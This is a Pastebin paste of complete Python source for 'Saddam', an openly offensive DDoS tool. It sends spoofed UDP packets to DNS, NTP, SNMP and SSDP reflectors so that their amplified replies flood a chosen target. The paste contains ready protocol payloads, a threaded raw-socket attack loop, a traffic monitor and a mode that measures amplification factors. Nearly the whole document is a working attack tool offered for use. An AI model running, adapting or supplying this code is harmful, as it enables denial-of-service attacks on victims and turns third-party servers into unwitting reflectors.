Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import sys
- import time
- import socket
- import struct
- import threading
- from random import randint
- from optparse import OptionParser
- from pinject import IP, UDP
- USAGE = '''
- %prog target.com [options] # DDoS
- %prog benchmark [options] # Calculate AMPLIFICATION factor
- '''
- LOGO = r'''
- _____ __ __
- / ___/____ _____/ /___/ /___ _____ ___
- \__ \/ __ `/ __ / __ / __ `/ __ `__ \
- ___/ / /_/ / /_/ / /_/ / /_/ / / / / / /
- /____/\__,_/\__,_/\__,_/\__,_/_/ /_/ /_/
- https://github.com/OffensivePython/Saddam
- https://twitter.com/OffensivePython
- '''
- HELP = (
- 'DNS Amplification File and Domains to Resolve (e.g: dns.txt:[evildomain.com|domains_file.txt]',
- 'NTP Amplification file',
- 'SNMP Amplification file',
- 'SSDP Amplification file',
- 'Number of threads (default=1)' )
- OPTIONS = (
- (('-d', '--dns'), dict(dest='dns', metavar='FILE:FILE|DOMAIN', help=HELP[0])),
- (('-n', '--ntp'), dict(dest='ntp', metavar='FILE', help=HELP[1])),
- (('-s', '--snmp'), dict(dest='snmp', metavar='FILE', help=HELP[2])),
- (('-p', '--ssdp'), dict(dest='ssdp', metavar='FILE', help=HELP[3])),
- (('-t', '--threads'), dict(dest='threads', type=int, default=1, metavar='N', help=HELP[4])) )
- BENCHMARK = (
- 'Protocol'
- '| IP Address '
- '| Amplification '
- '| Domain '
- '\n{}').format('-'*75)
- ATTACK = (
- ' Sent '
- '| Traffic '
- '| Packet/s '
- '| Bit/s '
- '\n{}').format('-'*63)
- PORT = {
- 'dns': 53,
- 'ntp': 123,
- 'snmp': 161,
- 'ssdp': 1900 }
- PAYLOAD = {
- 'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01'
- '{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00'
- '\x00\x00\x00\x00\x00\x00'),
- 'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'
- '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'
- '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'
- '\x01\x02\x01\x05\x00'),
- 'ntp':('\x17\x00\x02\x2a'+'\x00'*4),
- 'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n'
- 'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
- }
- amplification = {
- 'dns': {},
- 'ntp': {},
- 'snmp': {},
- 'ssdp': {} } # Amplification factor
- FILE_NAME = 0 # Index of files names
- FILE_HANDLE = 1 # Index of files descriptors
- npackets = 0 # Number of packets sent
- nbytes = 0 # Number of bytes reflected
- files = {} # Amplifications files
- SUFFIX = {
- 0: '',
- 1: 'K',
- 2: 'M',
- 3: 'G',
- 4: 'T'}
- def Calc(n, d, unit=''):
- i = 0
- r = float(n)
- while r/d>=1:
- r = r/d
- i+= 1
- return '{:.2f}{}{}'.format(r, SUFFIX[i], unit)
- def GetDomainList(domains):
- domain_list = []
- if '.TXT' in domains.upper():
- file = open(domains, 'r')
- content = file.read()
- file.close()
- content = content.replace('\r', '')
- content = content.replace(' ', '')
- content = content.split('\n')
- for domain in content:
- if domain:
- domain_list.append(domain)
- else:
- domain_list = domains.split(',')
- return domain_list
- def Monitor():
- '''
- Monitor attack
- '''
- print ATTACK
- FMT = '{:^15}|{:^15}|{:^15}|{:^15}'
- start = time.time()
- while True:
- try:
- current = time.time() - start
- bps = (nbytes*8)/current
- pps = npackets/current
- out = FMT.format(Calc(npackets, 1000),
- Calc(nbytes, 1024, 'B'), Calc(pps, 1000, 'pps'), Calc(bps, 1000, 'bps'))
- sys.stderr.write('\r{}{}'.format(out, ' '*(60-len(out))))
- time.sleep(1)
- except KeyboardInterrupt:
- print '\nInterrupted'
- break
- except Exception as err:
- print '\nError:', str(err)
- break
- def AmpFactor(recvd, sent):
- return '{}x ({}B -> {}B)'.format(recvd/sent, sent, recvd)
- def Benchmark(ddos):
- print BENCHMARK
- i = 0
- for proto in files:
- f = open(files[proto][FILE_NAME], 'r')
- while True:
- soldier = f.readline().strip()
- if soldier:
- if proto=='dns':
- for domain in ddos.domains:
- i+= 1
- recvd, sent = ddos.GetAmpSize(proto, soldier, domain)
- if recvd/sent:
- print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
- AmpFactor(recvd, sent), domain)
- else:
- continue
- else:
- recvd, sent = ddos.GetAmpSize(proto, soldier)
- print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
- AmpFactor(recvd, sent), 'N/A')
- i+= 1
- else:
- break
- print 'Total tested:', i
- f.close()
- class DDoS(object):
- def __init__(self, target, threads, domains, event):
- self.target = target
- self.threads = threads
- self.event = event
- self.domains = domains
- def stress(self):
- for i in range(self.threads):
- t = threading.Thread(target=self.__attack)
- t.start()
- def __send(self, sock, soldier, proto, payload):
- '''
- Send a Spoofed Packet
- '''
- udp = UDP(randint(1, 65535), PORT[proto], payload).pack(self.target, soldier)
- ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack()
- sock.sendto(ip+udp+payload, (soldier, PORT[proto]))
- def GetAmpSize(self, proto, soldier, domain=''):
- '''
- Get Amplification Size
- '''
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- sock.settimeout(2)
- data = ''
- if proto in ['ntp', 'ssdp']:
- packet = PAYLOAD[proto]
- sock.sendto(packet, (soldier, PORT[proto]))
- try:
- while True:
- data+= sock.recvfrom(65535)[0]
- except socket.timeout:
- sock.close()
- return len(data), len(packet)
- if proto=='dns':
- packet = self.__GetDnsQuery(domain)
- else:
- packet = PAYLOAD[proto]
- try:
- sock.sendto(packet, (soldier, PORT[proto]))
- data, _ = sock.recvfrom(65535)
- except socket.timeout:
- data = ''
- finally:
- sock.close()
- return len(data), len(packet)
- def __GetQName(self, domain):
- '''
- QNAME A domain name represented as a sequence of labels
- where each label consists of a length
- octet followed by that number of octets
- '''
- labels = domain.split('.')
- QName = ''
- for label in labels:
- if len(label):
- QName += struct.pack('B', len(label)) + label
- return QName
- def __GetDnsQuery(self, domain):
- id = struct.pack('H', randint(0, 65535))
- QName = self.__GetQName(domain)
- return PAYLOAD['dns'].format(id, QName)
- def __attack(self):
- global npackets
- global nbytes
- _files = files
- for proto in _files: # Open Amplification files
- f = open(_files[proto][FILE_NAME], 'r')
- _files[proto].append(f) # _files = {'proto':['file_name', file_handle]}
- sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
- i = 0
- while self.event.isSet():
- for proto in _files:
- soldier = _files[proto][FILE_HANDLE].readline().strip()
- if soldier:
- if proto=='dns':
- if not amplification[proto].has_key(soldier):
- amplification[proto][soldier] = {}
- for domain in self.domains:
- if not amplification[proto][soldier].has_key(domain):
- size, _ = self.GetAmpSize(proto, soldier, domain)
- if size==0:
- break
- elif size<len(PAYLOAD[proto]):
- continue
- else:
- amplification[proto][soldier][domain] = size
- amp = self.__GetDnsQuery(domain)
- self.__send(sock, soldier, proto, amp)
- npackets += 1
- i+=1
- nbytes += amplification[proto][soldier][domain]
- else:
- if not amplification[proto].has_key(soldier):
- size, _ = self.GetAmpSize(proto, soldier)
- if size<len(PAYLOAD[proto]):
- continue
- else:
- amplification[proto][soldier] = size
- amp = PAYLOAD[proto]
- npackets += 1
- i+=1
- nbytes += amplification[proto][soldier]
- self.__send(sock, soldier, proto, amp)
- else:
- _files[proto][FILE_HANDLE].seek(0)
- sock.close()
- for proto in _files:
- _files[proto][FILE_HANDLE].close()
- def main():
- parser = OptionParser(usage=USAGE)
- for args, kwargs in OPTIONS:
- parser.add_option(*args, **kwargs)
- options, args = parser.parse_args()
- domains = None
- if len(args)<1:
- parser.print_help()
- sys.exit()
- if options.dns:
- dns_file, domains = options.dns.split(':')
- domains = GetDomainList(domains)
- if domains:
- files['dns'] = [dns_file]
- else:
- print 'Specify domains to resolve (e.g: --dns=dns.txt:evildomain.com)'
- sys.exit()
- if options.ntp:
- files['ntp'] = [options.ntp]
- if options.snmp:
- files['snmp'] = [options.snmp]
- if options.ssdp:
- files['ssdp'] = [options.ssdp]
- if files:
- event = threading.Event()
- event.set()
- if 'BENCHMARK'==args[0].upper():
- ddos = DDoS(args[0], options.threads, domains, event)
- Benchmark(ddos)
- else:
- ddos = DDoS(socket.gethostbyname(args[0]), options.threads, domains, event)
- ddos.stress()
- Monitor()
- event.clear()
- else:
- parser.print_help()
- sys.exit()
- if __name__=='__main__':
- print LOGO
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement